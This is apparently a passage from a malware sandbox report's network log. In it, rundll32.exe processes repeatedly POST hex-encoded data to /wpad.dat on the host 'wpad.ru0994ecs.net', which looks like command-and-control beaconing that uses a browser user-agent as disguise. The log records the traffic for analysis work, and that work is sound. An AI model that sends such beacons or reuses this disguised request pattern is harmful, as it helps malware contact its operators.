2024-04-16 21:05:02 UTC	529	IN	HTTP/1.1 200 OK Date: Tue, 16 Apr 2024 21:05:02 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=ZykrTBD9TXcjluPDvnbiQMjoBBm4YqY9qRppGA2sgsyAVXoRMvs7TjQvph3pklk1FpFjDC6vQKJDVeysjrOQB7gA%2BJ7Q3masEX8Vw2cGzLl5A8U3CbUtZN8p71SlZYfZ0UcaO48%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 875721937c821355-ATL
2024-04-16 21:05:02 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
154	192.168.2.4	49890	104.21.62.151	443	2308	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-16 21:05:04 UTC	217	OUT	POST /wpad.dat HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0 Host: wpad.ru0994ecs.net Content-Length: 156 Connection: Keep-Alive Cache-Control: no-cache
2024-04-16 21:05:04 UTC	156	OUT	Data Raw: 36 65 37 39 63 63 61 34 35 38 37 39 31 63 63 30 38 34 34 37 39 63 33 62 31 38 34 30 34 62 38 37 38 64 32 35 65 31 62 36 35 35 31 62 30 31 61 34 32 35 61 38 32 62 62 65 63 64 61 66 35 39 36 64 66 33 35 39 30 63 62 65 63 62 65 36 31 63 39 65 31 63 32 64 66 35 33 65 38 32 39 64 37 31 32 64 35 32 31 37 62 61 65 32 37 61 30 65 65 63 37 33 62 32 66 65 62 37 36 64 38 62 35 34 30 33 65 34 37 30 63 30 32 38 39 33 65 38 38 37 66 35 62 36 33 64 66 62 39 30 30 31 38 63 36 33 Data Ascii: 6e79cca458791cc084479c3b18404b878d25e1b6551b01a425a82bbecdaf596df3590cbecbe61c9e1c2df53e829d712d5217bae27a0eec73b2feb76d8b5403e470c02893e887f5b63dfb90018c63
2024-04-16 21:05:04 UTC	543	IN	HTTP/1.1 200 OK Date: Tue, 16 Apr 2024 21:05:04 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=jKr7u1TXe5RGfIZ%2FVXcszAHQnkThT6d84HjCgsuTYlOnRNCAWGFk%2F5E%2FLjpR4pD8Ix%2FP2Kw63lSeuhGDRzLxaA%2FDKHSFLlk6BKhxB%2B6JwH32xmOlhHD%2BYyOwTMIpSNyyI2fu%2F9I%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 875721a4cc850d0a-ATL
2024-04-16 21:05:04 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
155	192.168.2.4	49891	104.21.62.151	443	7200	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-16 21:05:05 UTC	217	OUT	POST /wpad.dat HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0 Host: wpad.ru0994ecs.net Content-Length: 156 Connection: Keep-Alive Cache-Control: no-cache
2024-04-16 21:05:05 UTC	156	OUT	Data Raw: 36 65 37 39 63 63 61 34 35 38 37 39 31 63 63 30 38 34 34 37 39 63 33 62 31 38 34 30 34 62 38 37 38 64 32 35 65 31 62 36 35 32 31 62 30 31 64 33 32 32 62 38 33 39 61 34 62 31 61 61 32 32 36 64 38 31 32 66 31 33 62 30 62 31 39 37 36 64 39 30 31 38 33 30 38 34 32 35 38 66 65 65 30 61 35 30 33 32 30 65 64 38 66 33 37 34 30 39 65 32 37 33 62 32 66 65 62 37 36 64 38 62 35 34 30 33 65 34 37 30 63 30 32 38 39 33 65 38 38 37 66 35 62 36 33 64 66 62 39 30 30 31 38 63 36 33 Data Ascii: 6e79cca458791cc084479c3b18404b878d25e1b6521b01d322b839a4b1aa226d812f13b0b1976d90183084258fee0a50320ed8f37409e273b2feb76d8b5403e470c02893e887f5b63dfb90018c63
2024-04-16 21:05:05 UTC	537	IN	HTTP/1.1 200 OK Date: Tue, 16 Apr 2024 21:05:05 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=xNGgGsNNpZd7OB%2FpIXx3SRSgFHLzHfZrwK6S%2B%2F0AumQjBzTo%2Bg7UDt33SqINW5cM1bbkzIqXwEvg%2FW9gvO97q1mxfeiGPPDUX8fVJVktG2yYIyyEQIC5WWbqvmEF4zFsY3M9T8U%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 875721a8fe9253cd-ATL
2024-04-16 21:05:05 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
156	192.168.2.4	49892	104.21.62.151	443	4208	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-16 21:05:06 UTC	217	OUT	POST /wpad.dat HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0 Host: wpad.ru0994ecs.net Content-Length: 156 Connection: Keep-Alive Cache-Control: no-cache
2024-04-16 21:05:06 UTC	156	OUT	Data Raw: 36 65 37 39 63 63 61 34 35 38 37 39 31 63 63 30 38 34 34 37 39 63 33 62 31 38 34 30 34 62 38 37 38 64 32 35 65 31 62 36 35 34 31 62 30 31 61 65 33 63 61 63 32 35 64 66 61 62 61 36 34 30 37 66 39 37 35 34 30 62 62 61 64 38 65 64 36 35 65 63 31 38 33 39 38 37 34 35 66 66 66 30 37 36 35 62 33 34 36 39 62 61 39 37 37 35 31 35 39 31 37 33 62 32 66 65 62 37 36 64 38 62 35 34 30 33 65 34 37 30 63 30 32 38 39 33 65 38 38 37 66 35 62 36 33 64 66 62 39 30 30 31 38 63 36 33 Data Ascii: 6e79cca458791cc084479c3b18404b878d25e1b6541b01ae3cac25dfaba6407f97540bbad8ed65ec18398745fff0765b3469ba9775159173b2feb76d8b5403e470c02893e887f5b63dfb90018c63
2024-04-16 21:05:06 UTC	531	IN	HTTP/1.1 200 OK Date: Tue, 16 Apr 2024 21:05:06 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=C79aiR%2BTtyx7LDjZFnrcF8NKpoCyIlR0tVrDCndp8p4qiE2WGGkLrHNTfCiLrmdBMaYdliXbWuwhSajTscd24eoonxifOusXfKOO89EakzUI4xtOG2icWydZon%2BroAvzPnHNWYk%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 875721b069aa1361-ATL
2024-04-16 21:05:06 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
157	192.168.2.4	49893	104.21.62.151	443	2308	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-16 21:05:09 UTC	217	OUT	POST /wpad.dat HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0 Host: wpad.ru0994ecs.net Content-Length: 156 Connection: Keep-Alive Cache-Control: no-cache
2024-04-16 21:05:09 UTC	156	OUT	Data Raw: 36 65 37 39 63 63 61 34 35 38 37 39 31 63 63 30 38 34 34 37 39 63 33 62 31 38 34 30 34 62 38 37 38 64 32 35 65 31 62 36 35 35 31 62 30 31 61 34 32 35 61 38 32 62 62 65 63 64 61 66 35 39 36 64 66 33 35 39 30 63 62 65 63 62 65 36 31 63 39 65 31 63 32 64 66 35 33 65 38 32 39 64 37 31 32 64 35 32 31 37 62 61 65 32 37 61 30 65 65 63 37 33 62 32 66 65 62 37 36 64 38 62 35 34 30 33 65 34 37 30 63 30 32 38 39 33 65 38 38 37 66 35 62 36 33 64 66 62 39 30 30 31 38 63 36 33 Data Ascii: 6e79cca458791cc084479c3b18404b878d25e1b6551b01a425a82bbecdaf596df3590cbecbe61c9e1c2df53e829d712d5217bae27a0eec73b2feb76d8b5403e470c02893e887f5b63dfb90018c63
2024-04-16 21:05:09 UTC	537	IN	HTTP/1.1 200 OK Date: Tue, 16 Apr 2024 21:05:09 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=gl8CYBhKkkc58KTWA%2BBjfI6byhZJVLgSJ5aD0gxr5V9B32id7La%2FhoNJoRkp%2Fvvt8cW7F4pCjSFx%2FAEqyHcaf6devoOs5K%2B7tWDVpPb8uhdv9zpqNSWVHUyPamn44u5GtX1zPgA%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 875721c1ada812e7-ATL
2024-04-16 21:05:09 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
158	192.168.2.4	49894	104.21.62.151	443	7200	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-16 21:05:09 UTC	217	OUT	POST /wpad.dat HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0 Host: wpad.ru0994ecs.net Content-Length: 156 Connection: Keep-Alive Cache-Control: no-cache
2024-04-16 21:05:09 UTC	156	OUT	Data Raw: 36 65 37 39 63 63 61 34 35 38 37 39 31 63 63 30 38 34 34 37 39 63 33 62 31 38 34 30 34 62 38 37 38 64 32 35 65 31 62 36 35 32 31 62 30 31 64 33 32 32 62 38 33 39 61 34 62 31 61 61 32 32 36 64 38 31 32 66 31 33 62 30 62 31 39 37 36 64 39 30 31 38 33 30 38 34 32 35 38 66 65 65 30 61 35 30 33 32 30 65 64 38 66 33 37 34 30 39 65 32 37 33 62 32 66 65 62 37 36 64 38 62 35 34 30 33 65 34 37 30 63 30 32 38 39 33 65 38 38 37 66 35 62 36 33 64 66 62 39 30 30 31 38 63 36 33 Data Ascii: 6e79cca458791cc084479c3b18404b878d25e1b6521b01d322b839a4b1aa226d812f13b0b1976d90183084258fee0a50320ed8f37409e273b2feb76d8b5403e470c02893e887f5b63dfb90018c63
2024-04-16 21:05:10 UTC	527	IN	HTTP/1.1 200 OK Date: Tue, 16 Apr 2024 21:05:10 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=2tK50NvWLT7VasshpECVmXfIJYuPixqK6cg07ZIPwxI2CEV6qF5WdCWYrMtH1yvQFQEiS8qamQYIVmvBAOwpzEQlFgx7xXU20jTfXK8TyZlKdsU8e9cjPdPyEWYIELOwToY1iqg%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 875721c5ac877bc3-ATL
2024-04-16 21:05:10 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
159	192.168.2.4	49895	104.21.62.151	443	4208	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-16 21:05:10 UTC	217	OUT	POST /wpad.dat HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0 Host: wpad.ru0994ecs.net Content-Length: 156 Connection: Keep-Alive Cache-Control: no-cache
2024-04-16 21:05:10 UTC	156	OUT	Data Raw: 36 65 37 39 63 63 61 34 35 38 37 39 31 63 63 30 38 34 34 37 39 63 33 62 31 38 34 30 34 62 38 37 38 64 32 35 65 31 62 36 35 34 31 62 30 31 61 65 33 63 61 63 32 35 64 66 61 62 61 36 34 30 37 66 39 37 35 34 30 62 62 61 64 38 65 64 36 35 65 63 31 38 33 39 38 37 34 35 66 66 66 30 37 36 35 62 33 34 36 39 62 61 39 37 37 35 31 35 39 31 37 33 62 32 66 65 62 37 36 64 38 62 35 34 30 33 65 34 37 30 63 30 32 38 39 33 65 38 38 37 66 35 62 36 33 64 66 62 39 30 30 31 38 63 36 33 Data Ascii: 6e79cca458791cc084479c3b18404b878d25e1b6541b01ae3cac25dfaba6407f97540bbad8ed65ec18398745fff0765b3469ba9775159173b2feb76d8b5403e470c02893e887f5b63dfb90018c63
2024-04-16 21:05:10 UTC	539	IN	HTTP/1.1 200 OK Date: Tue, 16 Apr 2024 21:05:10 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=pTZvXaY%2BYNQYmzWqmCaSJVma181CTUVNwAD33iiF2q4%2BWDSGU5Y%2Fp3fgT2Y1ApM7pUypzlT3%2F01AfGccRqXPoHRw8%2BX169bEVlgzPqFCq%2BvBfBan8qE7mV9kfZAURA8YlmhcPfk%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 875721c6cc686785-ATL
2024-04-16 21:05:10 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
160	192.168.2.4	49896	104.21.62.151	443	7200	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-16 21:05:11 UTC	217	OUT	POST /wpad.dat HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0 Host: wpad.ru0994ecs.net Content-Length: 156 Connection: Keep-Alive Cache-Control: no-cache
2024-04-16 21:05:11 UTC	156	OUT	Data Raw: 36 65 37 39 63 63 61 34 35 38 37 39 31 63 63 30 38 34 34 37 39 63 33 62 31 38 34 30 34 62 38 37 38 64 32 35 65 31 62 36 35 32 31 62 30 31 64 33 32 32 62 38 33 39 61 34 62 31 61 61 32 32 36 64 38 31 32 66 31 33 62 30 62 31 39 37 36 64 39 30 31 38 33 30 38 34 32 35 38 66 65 65 30 61 35 30 33 32 30 65 64 38 66 33 37 34 30 39 65 32 37 33 62 32 66 65 62 37 36 64 38 62 35 34 30 33 65 34 37 30 63 30 32 38 39 33 65 38 38 37 66 35 62 36 33 64 66 62 39 30 30 31 38 63 36 33 Data Ascii: 6e79cca458791cc084479c3b18404b878d25e1b6521b01d322b839a4b1aa226d812f13b0b1976d90183084258fee0a50320ed8f37409e273b2feb76d8b5403e470c02893e887f5b63dfb90018c63
2024-04-16 21:05:11 UTC	529	IN	HTTP/1.1 200 OK Date: Tue, 16 Apr 2024 21:05:11 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=flSNpMcBuzUGAHsqDvUftf2GYTw4lP7aRHVFbfCwEiHBSvpkTK3uk%2FfThZ0N7DROqaah3d6mHrQDTQO7NNjLNEyQRxcoeh8fGeSc1JW09rZUxtihAeDSZH0cBCaKgJIYWxdEWGQ%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 875721cfde27139d-ATL
2024-04-16 21:05:11 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
161	192.168.2.4	49897	104.21.62.151	443	2308	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-16 21:05:12 UTC	217	OUT	POST /wpad.dat HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0 Host: wpad.ru0994ecs.net Content-Length: 156 Connection: Keep-Alive Cache-Control: no-cache
2024-04-16 21:05:12 UTC	156	OUT	Data Raw: 36 65 37 39 63 63 61 34 35 38 37 39 31 63 63 30 38 34 34 37 39 63 33 62 31 38 34 30 34 62 38 37 38 64 32 35 65 31 62 36 35 35 31 62 30 31 61 34 32 35 61 38 32 62 62 65 63 64 61 66 35 39 36 64 66 33 35 39 30 63 62 65 63 62 65 36 31 63 39 65 31 63 32 64 66 35 33 65 38 32 39 64 37 31 32 64 35 32 31 37 62 61 65 32 37 61 30 65 65 63 37 33 62 32 66 65 62 37 36 64 38 62 35 34 30 33 65 34 37 30 63 30 32 38 39 33 65 38 38 37 66 35 62 36 33 64 66 62 39 30 30 31 38 63 36 33 Data Ascii: 6e79cca458791cc084479c3b18404b878d25e1b6551b01a425a82bbecdaf596df3590cbecbe61c9e1c2df53e829d712d5217bae27a0eec73b2feb76d8b5403e470c02893e887f5b63dfb90018c63
2024-04-16 21:05:13 UTC	531	IN	HTTP/1.1 200 OK Date: Tue, 16 Apr 2024 21:05:13 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=VlD04V2Ku910o9XKu2rcbrJSjMIgPox8Gto6ZrCK5EQp4wW%2F5NBDPUO36bYFOHjlStfCG2hL39oTMElPa4DihSRGzSRESLYRS9sCU1FtQFVX9lMWiO7fFZe0GqhjbeEKFi%2BPGwY%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 875721d82d655085-ATL
2024-04-16 21:05:13 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
162	192.168.2.4	49898	104.21.62.151	443	4208	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-16 21:05:13 UTC	217	OUT	POST /wpad.dat HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0 Host: wpad.ru0994ecs.net Content-Length: 156 Connection: Keep-Alive Cache-Control: no-cache
2024-04-16 21:05:13 UTC	156	OUT	Data Raw: 36 65 37 39 63 63 61 34 35 38 37 39 31 63 63 30 38 34 34 37 39 63 33 62 31 38 34 30 34 62 38 37 38 64 32 35 65 31 62 36 35 34 31 62 30 31 61 65 33 63 61 63 32 35 64 66 61 62 61 36 34 30 37 66 39 37 35 34 30 62 62 61 64 38 65 64 36 35 65 63 31 38 33 39 38 37 34 35 66 66 66 30 37 36 35 62 33 34 36 39 62 61 39 37 37 35 31 35 39 31 37 33 62 32 66 65 62 37 36 64 38 62 35 34 30 33 65 34 37 30 63 30 32 38 39 33 65 38 38 37 66 35 62 36 33 64 66 62 39 30 30 31 38 63 36 33 Data Ascii: 6e79cca458791cc084479c3b18404b878d25e1b6541b01ae3cac25dfaba6407f97540bbad8ed65ec18398745fff0765b3469ba9775159173b2feb76d8b5403e470c02893e887f5b63dfb90018c63
2024-04-16 21:05:13 UTC	533	IN	HTTP/1.1 200 OK Date: Tue, 16 Apr 2024 21:05:13 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=NrGeZyfBYSNqyDT4rvv7pd7OGF%2FenEbu0z1r7TsVkYCD1ez2VaywUcBVrs4pWiEP4H3NO%2FWop5LlJPC0GRB3ZHA36OWFHjHQxJDcJDzxMnkEXzqpFfvsBBq21x%2FsrzACkgn4aoc%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 875721dd2ee2458d-ATL
2024-04-16 21:05:13 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
163	192.168.2.4	49899	104.21.62.151	443	4208	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-16 21:05:14 UTC	217	OUT	POST /wpad.dat HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0 Host: wpad.ru0994ecs.net Content-Length: 156 Connection: Keep-Alive Cache-Control: no-cache
2024-04-16 21:05:14 UTC	156	OUT	Data Raw: 36 65 37 39 63 63 61 34 35 38 37 39 31 63 63 30 38 34 34 37 39 63 33 62 31 38 34 30 34 62 38 37 38 64 32 35 65 31 62 36 35 34 31 62 30 31 61 65 33 63 61 63 32 35 64 66 61 62 61 36 34 30 37 66 39 37 35 34 30 62 62 61 64 38 65 64 36 35 65 63 31 38 33 39 38 37 34 35 66 66 66 30 37 36 35 62 33 34 36 39 62 61 39 37 37 35 31 35 39 31 37 33 62 32 66 65 62 37 36 64 38 62 35 34 30 33 65 34 37 30 63 30 32 38 39 33 65 38 38 37 66 35 62 36 33 64 66 62 39 30 30 31 38 63 36 33 Data Ascii: 6e79cca458791cc084479c3b18404b878d25e1b6541b01ae3cac25dfaba6407f97540bbad8ed65ec18398745fff0765b3469ba9775159173b2feb76d8b5403e470c02893e887f5b63dfb90018c63
2024-04-16 21:05:14 UTC	543	IN	HTTP/1.1 200 OK Date: Tue, 16 Apr 2024 21:05:14 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Jt7MtGsnMndNXzC4l1uCgP%2Bmij%2BiofX1gM4uEn2RxdxKsLFffBONRzCy3XxrCnx3cvhLXw6NoUYnOOb%2B%2FnZET1H3ZUZHmTA2jFlZsvOh6maew%2FAR3mi3dDc%2BQxS%2FyD%2BXXbdwzrc%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 875721e0cb4707ce-ATL
2024-04-16 21:05:14 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
164	192.168.2.4	49900	104.21.62.151	443	7200	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-16 21:05:16 UTC	217	OUT	POST /wpad.dat HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0 Host: wpad.ru0994ecs.net Content-Length: 156 Connection: Keep-Alive Cache-Control: no-cache
2024-04-16 21:05:16 UTC	156	OUT	Data Raw: 36 65 37 39 63 63 61 34 35 38 37 39 31 63 63 30 38 34 34 37 39 63 33 62 31 38 34 30 34 62 38 37 38 64 32 35 65 31 62 36 35 32 31 62 30 31 64 33 32 32 62 38 33 39 61 34 62 31 61 61 32 32 36 64 38 31 32 66 31 33 62 30 62 31 39 37 36 64 39 30 31 38 33 30 38 34 32 35 38 66 65 65 30 61 35 30 33 32 30 65 64 38 66 33 37 34 30 39 65 32 37 33 62 32 66 65 62 37 36 64 38 62 35 34 30 33 65 34 37 30 63 30 32 38 39 33 65 38 38 37 66 35 62 36 33 64 66 62 39 30 30 31 38 63 36 33 Data Ascii: 6e79cca458791cc084479c3b18404b878d25e1b6521b01d322b839a4b1aa226d812f13b0b1976d90183084258fee0a50320ed8f37409e273b2feb76d8b5403e470c02893e887f5b63dfb90018c63
2024-04-16 21:05:16 UTC	547	IN	HTTP/1.1 200 OK Date: Tue, 16 Apr 2024 21:05:16 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=%2BfkTJ91IkNlkTy6nSWlyGXIaYj%2BqawWhzrdC0Ppzf%2F6UnWW4E%2FagCgtWVzm%2FF%2BFhR8WSONgIuONpk8mI2nq1svigQRKC86q%2BWU%2BdHrWTh5QMIIfnWgd5%2BeQC5jzEzg%2B8huIVNWk%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 875721ec8b7b53d5-ATL
2024-04-16 21:05:16 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
165	192.168.2.4	49901	104.21.62.151	443	2308	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-16 21:05:16 UTC	217	OUT	POST /wpad.dat HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0 Host: wpad.ru0994ecs.net Content-Length: 156 Connection: Keep-Alive Cache-Control: no-cache
2024-04-16 21:05:16 UTC	156	OUT	Data Raw: 36 65 37 39 63 63 61 34 35 38 37 39 31 63 63 30 38 34 34 37 39 63 33 62 31 38 34 30 34 62 38 37 38 64 32 35 65 31 62 36 35 35 31 62 30 31 61 34 32 35 61 38 32 62 62 65 63 64 61 66 35 39 36 64 66 33 35 39 30 63 62 65 63 62 65 36 31 63 39 65 31 63 32 64 66 35 33 65 38 32 39 64 37 31 32 64 35 32 31 37 62 61 65 32 37 61 30 65 65 63 37 33 62 32 66 65 62 37 36 64 38 62 35 34 30 33 65 34 37 30 63 30 32 38 39 33 65 38 38 37 66 35 62 36 33 64 66 62 39 30 30 31 38 63 36 33 Data Ascii: 6e79cca458791cc084479c3b18404b878d25e1b6551b01a425a82bbecdaf596df3590cbecbe61c9e1c2df53e829d712d5217bae27a0eec73b2feb76d8b5403e470c02893e887f5b63dfb90018c63
2024-04-16 21:05:16 UTC	537	IN	HTTP/1.1 200 OK Date: Tue, 16 Apr 2024 21:05:16 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=HsecyiNwjMgmfiGguYfVTTbwVH%2B%2BGA9yvRzyD2IhV8LSH7dOjLHOtl9kozKxaPEft%2F%2FfLdxzH5IpqFm9rrwTjy84xXP7IZOKmTNz8mUh4Eq13wp9zw99HyQdjtoi%2Bxd1uIkuzJA%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 875721eec9806760-ATL
2024-04-16 21:05:16 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
166	192.168.2.4	49902	104.21.62.151	443	2308	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-16 21:05:17 UTC	217	OUT	POST /wpad.dat HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0 Host: wpad.ru0994ecs.net Content-Length: 156 Connection: Keep-Alive Cache-Control: no-cache
2024-04-16 21:05:17 UTC	156	OUT	Data Raw: 36 65 37 39 63 63 61 34 35 38 37 39 31 63 63 30 38 34 34 37 39 63 33 62 31 38 34 30 34 62 38 37 38 64 32 35 65 31 62 36 35 35 31 62 30 31 61 34 32 35 61 38 32 62 62 65 63 64 61 66 35 39 36 64 66 33 35 39 30 63 62 65 63 62 65 36 31 63 39 65 31 63 32 64 66 35 33 65 38 32 39 64 37 31 32 64 35 32 31 37 62 61 65 32 37 61 30 65 65 63 37 33 62 32 66 65 62 37 36 64 38 62 35 34 30 33 65 34 37 30 63 30 32 38 39 33 65 38 38 37 66 35 62 36 33 64 66 62 39 30 30 31 38 63 36 33 Data Ascii: 6e79cca458791cc084479c3b18404b878d25e1b6551b01a425a82bbecdaf596df3590cbecbe61c9e1c2df53e829d712d5217bae27a0eec73b2feb76d8b5403e470c02893e887f5b63dfb90018c63
2024-04-16 21:05:17 UTC	541	IN	HTTP/1.1 200 OK Date: Tue, 16 Apr 2024 21:05:17 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=5OHwJ4%2FiiBTHi%2FFQF4njL2Sap%2BQpN8Z1pvhJTyGefS3OS6LB4gtjEKoCV%2BBj9HKDt149gonpC%2BgwI3rzDkv5og7Iwp3%2BcjHDtYbxarV6%2BTIZp20y8swm4RgvSWliAWZ1eY0xlbk%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 875721f28a457bc3-ATL
